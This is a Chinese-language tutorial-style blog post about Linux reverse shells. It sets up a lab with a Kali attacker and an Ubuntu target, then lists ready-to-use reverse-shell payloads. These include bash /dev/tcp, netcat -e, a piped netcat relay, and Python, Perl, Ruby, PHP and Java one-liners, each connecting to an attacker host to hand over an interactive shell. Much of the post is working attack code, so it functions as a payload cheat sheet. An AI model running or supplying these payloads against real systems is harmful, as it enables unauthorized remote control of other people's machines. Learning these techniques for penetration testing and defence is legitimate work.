linux反弹shell

之前也看过大牛们做题时利用反弹shell,一直没有仔细研究.今天又看了几位师傅的博客,自己总结一下.

为什么要反弹shell

在渗透测试中,当我们可以得到一个可以执行远程命令的漏洞时,我们通常会去获取一个shell,但是通常服务器防火墙亦或者云上都会对端口等进行严格控制.导致不能通过监听端口进行shell连接,这种情况下该怎么获取shell呢?
而通常情况下,不论是防火墙还是云盾等防护措施,不会对服务器对外连接进行限制(特殊情况除外),这时候就可以通过反弹shell来获取连接,即通过服务器反向连接一个外部机器来获取一个shell.

反弹shell

在理解反弹shell的操作命令前,可以先看一看前辈写的linux文件描述符.
攻击机kali:192.168.91.133
靶机ubuntu:192.168.91.134

bash

bash反弹shell应该是最常见的操作.
攻击机kali监听2333端口:

1
nc -lvp 2333

靶机:

1
bash -i >& /dev/tcp/192.168.91.133/2333 0>&1

然后kali上就出现了ubuntu的shell.
Markdown

  • bash -i 表示产生一个交互式的shell
  • dev/tcp/host/port 这个文件非常特殊,可以理解为一个设备.如果host 是一个合法的主机名或internet地址,并且port是一个整数端口号或服务名,bash试图建立与相应的socket(套接字)的TCP连接.

netcat反弹shell

netcat的-e参数后面跟一个可执行程序的名称,因为我的ubuntu的netcat是不带这个参数e的,所以这里我用kali作为靶机,ubuntu攻击机.
ubuntu监听2333端口:

1
nc -lvp 2333

kali弹shell给ubuntu:

1
nc -e /bin/bash 192.168.91.134 2333

成功弹shell.
Markdown

利用管道反弹shell

因为有的发行版linux中netcat是不带这个参数的,这时候可以利用管道进行反弹shell.
首先攻击机kali监听两个端口2333,7777:
Markdown
然后ubuntu连接攻击机2333端口,将传递过来的命令交给/bin/bash执行然后将结果返回到7777端口:

1
nc 192.168.91.133 2333 | /bin/bash | nc 192.168.91.133 7777

监听2333端口的会话成功得到shell,然后执行命令,结果返回在7777端口的会话.
Markdown

常见脚本反弹

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Markdown

perl

方法1:

1
perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Markdown
方法2:

1
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Markdown

ruby

1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

php

1
php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'

java

1
2
3
4
5
6
7
8
9
10
11
12
13
   public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}